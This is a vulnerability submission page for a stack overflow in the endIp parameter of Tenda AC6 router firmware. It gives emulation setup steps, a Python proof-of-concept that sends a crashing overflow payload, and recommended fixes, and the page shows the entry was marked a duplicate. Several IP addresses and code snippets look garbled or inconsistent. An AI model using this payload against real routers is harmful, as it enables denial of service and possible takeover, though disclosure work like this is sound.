| Title | Tenda AC6 V03.03.20.11 Memory Corruption |
|---|
| Description | Title: Tenda AC6 V5.0 V03.03.20.11 Stack Buffer Overflow (Parameter endIp in SetPptpServerCfg)
Vendor: Tenda
Product: AC6
Hardware Version: V5.0
Affected Firmware: V03.03.20.11
Vulnerability Type: Memory Corruption / Unbounded sscanf Stack Buffer Overflow
CVSS 3.1 Score: 8.2
CVSS Vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Request CVE: Yes
Embargo Enabled
Submitter: hfddh666 (UID: 99974)
1 Official Firmware Reference
Official download URL: https://www.tenda.com.cn/material/show/3242
Official note: This firmware only supports AC6 V5.0 hardware devices. Downgrade to V02.xx firmware is forbidden. The binary code, function offsets and memory layout are totally different from V2.0 version, no duplicate vulnerabilities recorded on NVD, VulDB and CNVD.
2 Complete Cross-Platform Emulation Environment Setup
Step 1 Install Dependencies & Download QEMU ARM Images
bash
运行
sudo apt update && sudo apt install aria2
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress"
aria2c -x 16 -s 16 "https://people.debian.org/~aurel32/qemu/vmlinuz-3.2.0-4-vexpress"
Downloaded files list:
1. debian_wheezy_armhf_standard.qcow2
2. initrd.img-3.2.0-4-vexpress
3. vmlinuz-3.2.0-4-vexpress
Step 2 Host TAP Interface & Iptables Configuration
bash
运行
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 up
sudo sysctl -w net.ipv4.ip_forward=1
# Clear all old iptables rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
# Default policy accept all traffic
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
# NAT forwarding rule for virtual machine
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT
# Assign static IP for tap adapter
sudo ifconfig tap0 192.168.1 netmask 255.255.0
Step 3 QEMU Boot Command for ARM Vexpress
bash
运行
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic
VM Account: root / root
Step 4 VM Network & Firmware Deployment
Network configuration inside virtual machine
bash
运行
ifconfig eth0 192.168.2 netmask 255.255.0
route add default gw 192.168.1
# Verify two-way connectivity
ping 192.168.1
Host side: Compress firmware and launch HTTP service
bash
运行
tar -czvf squashfs-root.tar squashfs-root
python3 -m http.server
VM side: Fetch, extract and run router firmware in chroot
bash
运行
wget http://192.168.1:8000/squashfs-root.tar
tar -xzvf squashfs-root.tar
ip link add br0 type bridge
ip link set br0 up
ip addr add 192.168.2/24 dev br0
chroot ./squashfs-root sh
cp -rf webroot_ro/* webroot/
./bin/httpd
Access address: http://192.168.2
5 Full Vulnerability 6 Description
Attack Surface Information
Target URL: http://[RouterIP]/goform/SetPptpServerCfg
Controllable POST Parameter: endIp
Affected Function: formSetPPTPServer
Vulnerable Source Code Snippet:
c
运行
sscanf(v20, "%[^.].%[^.].%s", v13, v14, &v15[8]) != 4
Authentication Requirement: Valid administrator password cookie
Important Note:
Complete physical router firmware enforces full session authentication. Requests without valid admin cookie will be redirected to login page and cannot reach vulnerable parsing logic. Authentication check is only skipped in incomplete chroot simulation without background daemons, which does not affect the authenticity of binary vulnerability.
Root Cause Analysis
The CGI program receives fully user-controllable value of POST endIp and stores it into stack variable v20. It then uses unsafe unbounded sscanf to split IPv4 segments separated by dot ..
Format specifier %[^.] reads every character until a dot without length limitation;
All parsed segments are written into fixed-size local stack buffers v13, v14, v15;
Malicious ultra-long string before any dot separator will overflow the corresponding stack buffer, overwrite stack base pointer and function return address;
Once the function exits, segmentation fault is triggered, crashing the http web service and causing persistent remote DoS attack. With precise payload construction, remote code execution under admin privilege can be achieved.
Proof of Concept (Python3 POC)
python
运行
import requests
from pwn import cyclic
target_url = "http://192.168.2/goform/SetPptpServerCfg
admin_cookie = {"password": "VALID_ADMIN_COOKIE"}
# Generate 1000-byte cyclic overflow payload
overflow_data = cyclic(1000).decode("latin")
post_payload = {
"serverEn": "1",
"mppe": "1",
"mppeOp": "128",
"startIp": "192.168.1.1",
"endIp": overflow_data + ".255.255.255"
}
try:
response = requests.post(target_url, cookies=admin_cookie, data=post_payload, timeout=3, allow_redirects=False)
print("HTTP Response Code:", response.status_code)
print("Response Preview:", response.text[:200])
except requests.RequestException as error:
print("Detected httpd crash, error detail:", error)
Reproduction Results
Normal short endIp input: Server returns HTTP 200 OK and renders web page normally without crash;
1000-byte long cyclic payload: Request throws ReadTimeout or ConnectionResetError;
QEMU serial console outputs Segmentation fault (core dumped), which confirms stack overflow crash;
Router watchdog process will automatically restart httpd to temporarily restore web management function.
Fix & Mitigation Recommendations
Unsafe original code:
c
运行
sscanf(v20, "%[^.].%[^.].%[^.].%s", v13, v14, v15, &v15[8]);
Secure fixed code with length limit:
c
运行
char temp_buf[128];
sscanf(v20, "%127[^.].%127[^.].%127[^.].%127s", v13, v14, v15, temp_buf);
// Add segment length verification logic
if(strlen(v13) > 127 || strlen(v14) > 127 || strlen(v15) > 127) {
return -1; // Reject oversized input
}
Add maximum width limit to all sscanf format specifiers to restrict copy length;
Add manual length check for each IP segment before writing to stack buffer;
Replace unbounded sscanf with self-defined bounded string split function;
Deploy unified global input length filter for all CGI POST parameters inside httpd binary.
Duplicate Vulnerability Statement
All existing public vulnerability records (CVE, CNVD, NVD) only cover Tenda AC6 V2.0 old firmware. This flaw exclusively impacts AC6 V5.0 V03.03.20.11. The httpd binary, vulnerable function offset and stack layout are completely independent from V2.0, no identical archived vulnerabilities on mainstream vulnerability databases.
Submission Note
This is the 6th independent vulnerability of this firmware series. It shares the same CGI path Vuln5 (SetPptpServerCfg) but uses different controllable parameter endIp. The overflow buffers are separate and can be patched individually, so it qualifies for a standalone unique CVE ID. |
|---|
| User | hfddh666 (UID 99974) |
|---|
| Submission | 07/22/2026 14:06 (2 months ago) |
|---|
| Moderation | 09/06/2026 11:36 (2 months later) |
|---|
| Status | Duplicate |
|---|
| VulDB entry | 195522 [Tenda AC6 15.03.05.09_multi SetPptpServerCfg endip stack-based overflow] |
|---|
| Points | 0 |
|---|